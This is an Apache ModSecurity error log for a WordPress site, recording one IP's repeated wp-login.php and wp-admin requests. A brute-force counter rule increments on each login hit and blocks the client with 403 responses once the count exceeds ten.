[Sun Mar 01 11:41:35.151983 2026] [:error] [pid 34785:tid 34804] [client 85.11.167.108:62087] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1b4C4dBNEGEcJx-OHxwAAAxE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:41:44.339770 2026] [:error] [pid 21159:tid 21224] [client 85.11.167.108:13067] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1eOLi3ouy1NZIkgpUNgAAAIM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:41:47.338333 2026] [:error] [pid 24576:tid 24585] [client 85.11.167.108:20234] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1e4vfb5CnctJh071K5AAAAQY"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:41:56.710662 2026] [:error] [pid 34785:tid 34805] [client 85.11.167.108:26871] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1hIC4dBNEGEcJx-OIDgAAAxI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:41:56.710730 2026] [:error] [pid 34785:tid 34805] [client 85.11.167.108:26871] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1hIC4dBNEGEcJx-OIDgAAAxI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:41:56.972751 2026] [:error] [pid 24576:tid 24595] [client 85.11.167.108:20234] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-admin/profile.php"] [unique_id "aaO1hIvfb5CnctJh071K-wAAAQ8"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:41:57.469871 2026] [:error] [pid 33539:tid 33554] [client 85.11.167.108:31573] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-admin/edit.php"] [unique_id "aaO1hdCsLwBYg4s018u_6AAAAck"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:41:57.967794 2026] [:error] [pid 33229:tid 33241] [client 85.11.167.108:32155] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-admin/plugins.php"] [unique_id "aaO1hXzT4c9ddlGE6FxddwAAAYo"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:41:58.517249 2026] [:error] [pid 33539:tid 33569] [client 85.11.167.108:32731] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1htCsLwBYg4s018u_7AAAAdc"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:42:07.824539 2026] [:error] [pid 33539:tid 33568] [client 85.11.167.108:39426] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1j9CsLwBYg4s018vACwAAAdY"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:42:10.779097 2026] [:error] [pid 21159:tid 21224] [client 85.11.167.108:46511] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1kuLi3ouy1NZIkgpUSAAAAIM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:42:10.779182 2026] [:error] [pid 21159:tid 21224] [client 85.11.167.108:46511] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 12"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1kuLi3ouy1NZIkgpUSAAAAIM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:42:17.008937 2026] [:error] [pid 33539:tid 33554] [client 85.11.167.108:39426] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1mdCsLwBYg4s018vAFwAAAck"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:42:20.124093 2026] [:error] [pid 34785:tid 34804] [client 85.11.167.108:56578] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1nIC4dBNEGEcJx-OIRgAAAxE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:42:29.853177 2026] [:error] [pid 33229:tid 33232] [client 85.11.167.108:63379] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1pXzT4c9ddlGE6FxdvgAAAYE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:42:32.998794 2026] [:error] [pid 33539:tid 33567] [client 85.11.167.108:15581] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1qNCsLwBYg4s018vAOQAAAdU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:42:42.721630 2026] [:error] [pid 24576:tid 24585] [client 85.11.167.108:22380] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1sovfb5CnctJh071LaAAAAQY"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:42:45.933802 2026] [:error] [pid 33229:tid 33232] [client 85.11.167.108:30240] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1tXzT4c9ddlGE6FxdzAAAAYE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:42:55.719086 2026] [:error] [pid 21156:tid 21177] [client 85.11.167.108:37412] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1v6saG_9IkG8N2p0UYQAAAAs"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:42:58.746153 2026] [:error] [pid 21263:tid 21267] [client 85.11.167.108:44917] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1wtAxjzLvN1upBhkifgAAAMA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:43:14.387036 2026] [:error] [pid 21263:tid 21272] [client 85.11.167.108:59886] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO10tAxjzLvN1upBhkipgAAAMU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:43:17.436425 2026] [:error] [pid 34785:tid 34800] [client 85.11.167.108:11139] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO11YC4dBNEGEcJx-OI5AAAAw0"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:43:27.675558 2026] [:error] [pid 21159:tid 21225] [client 85.11.167.108:18248] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO13-Li3ouy1NZIkgpUygAAAIQ"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:43:30.913405 2026] [:error] [pid 21158:tid 21196] [client 85.11.167.108:26421] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO14jriSIe3-pWnbPYQDwAAAEM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:43:40.547154 2026] [:error] [pid 21159:tid 21225] [client 85.11.167.108:33532] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO17OLi3ouy1NZIkgpU0wAAAIQ"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:43:43.609632 2026] [:error] [pid 33976:tid 33985] [client 85.11.167.108:40830] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO17wUyU3c4Xm_xpMTKrAAAAkc"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:43:52.710029 2026] [:error] [pid 33767:tid 33792] [client 85.11.167.108:47376] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1-EGyeKe3MWsxvBgTzAAAAhY"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:43:55.776893 2026] [:error] [pid 21156:tid 21189] [client 85.11.167.108:54776] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO1-6saG_9IkG8N2p0U9gAAABc"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:43:58.515783 2026] [:error] [pid 21156:tid 21171] [client 85.11.167.108:54776] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-admin/index.php"] [unique_id "aaO1_qsaG_9IkG8N2p0U-AAAAAU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:43:59.056847 2026] [:error] [pid 21263:tid 21273] [client 85.11.167.108:58671] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-admin/profile.php"] [unique_id "aaO1_9AxjzLvN1upBhkjHQAAAMY"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:01.021601 2026] [:error] [pid 21159:tid 21225] [client 85.11.167.108:61052] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-admin/plugins.php"] [unique_id "aaO2AeLi3ouy1NZIkgpU-QAAAIQ"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:01.542560 2026] [:error] [pid 33976:tid 34001] [client 85.11.167.108:61676] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2AQUyU3c4Xm_xpMTK0QAAAlc"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:10.875086 2026] [:error] [pid 33229:tid 33244] [client 85.11.167.108:13257] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2CnzT4c9ddlGE6FxeNgAAAY0"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:13.789800 2026] [:error] [pid 24576:tid 24581] [client 85.11.167.108:20978] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2DYvfb5CnctJh071MTgAAAQI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:13.789861 2026] [:error] [pid 24576:tid 24581] [client 85.11.167.108:20978] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2DYvfb5CnctJh071MTgAAAQI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:14.323968 2026] [:error] [pid 33539:tid 33551] [client 85.11.167.108:21608] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-admin/index.php"] [unique_id "aaO2DtCsLwBYg4s018vBJQAAAcY"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:14.884606 2026] [:error] [pid 21263:tid 21272] [client 85.11.167.108:22240] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-admin/profile.php"] [unique_id "aaO2DtAxjzLvN1upBhkjNAAAAMU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:15.426584 2026] [:error] [pid 33539:tid 33551] [client 85.11.167.108:22907] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-admin/edit.php"] [unique_id "aaO2D9CsLwBYg4s018vBKAAAAcY"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:15.994657 2026] [:error] [pid 33539:tid 33560] [client 85.11.167.108:23603] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-admin/plugins.php"] [unique_id "aaO2D9CsLwBYg4s018vBKgAAAc8"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:16.520622 2026] [:error] [pid 21263:tid 21267] [client 85.11.167.108:24207] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2ENAxjzLvN1upBhkjNQAAAMA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:25.646961 2026] [:error] [pid 21156:tid 21171] [client 85.11.167.108:30821] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2GasaG_9IkG8N2p0VGAAAAAU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:28.759318 2026] [:error] [pid 8688:tid 8707] [client 85.11.167.108:38403] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2HDHJ4Nn-RvulD0riNgAAAVE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:39.082360 2026] [:error] [pid 33976:tid 33982] [client 85.11.167.108:46288] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2JwUyU3c4Xm_xpMTLHQAAAkQ"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:41.984700 2026] [:error] [pid 33976:tid 33982] [client 85.11.167.108:53412] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2KQUyU3c4Xm_xpMTLIgAAAkQ"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:51.916042 2026] [:error] [pid 33539:tid 33560] [client 85.11.167.108:60560] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2M9CsLwBYg4s018vBmQAAAc8"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:54.942740 2026] [:error] [pid 33767:tid 33786] [client 85.11.167.108:12490] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2NkGyeKe3MWsxvBgUDQAAAhA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:44:54.942814 2026] [:error] [pid 33767:tid 33786] [client 85.11.167.108:12490] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 13"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2NkGyeKe3MWsxvBgUDQAAAhA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:45:02.070892 2026] [:error] [pid 33976:tid 33990] [client 85.11.167.108:16668] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2PgUyU3c4Xm_xpMTLUQAAAkw"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:45:02.070953 2026] [:error] [pid 33976:tid 33990] [client 85.11.167.108:16668] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2PgUyU3c4Xm_xpMTLUQAAAkw"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:45:02.322083 2026] [:error] [pid 33539:tid 33551] [client 85.11.167.108:13130] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-admin/profile.php"] [unique_id "aaO2PtCsLwBYg4s018vBswAAAcY"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:45:02.876368 2026] [:error] [pid 21263:tid 21277] [client 85.11.167.108:21392] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-admin/edit.php"] [unique_id "aaO2PtAxjzLvN1upBhkj3AAAAMo"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:45:03.388056 2026] [:error] [pid 33976:tid 33982] [client 85.11.167.108:21988] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 11"] [hostname "vetstars.com.au"] [uri "/wp-admin/plugins.php"] [unique_id "aaO2PwUyU3c4Xm_xpMTLUwAAAkQ"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:45:03.890320 2026] [:error] [pid 33976:tid 33982] [client 85.11.167.108:22570] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2PwUyU3c4Xm_xpMTLVgAAAkQ"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:45:03.890405 2026] [:error] [pid 33976:tid 33982] [client 85.11.167.108:22570] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 85.11.167.108 on wp-login.php, counter = 12"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaO2PwUyU3c4Xm_xpMTLVgAAAkQ"], referer: http://vetstars.com.au/wp-login.php
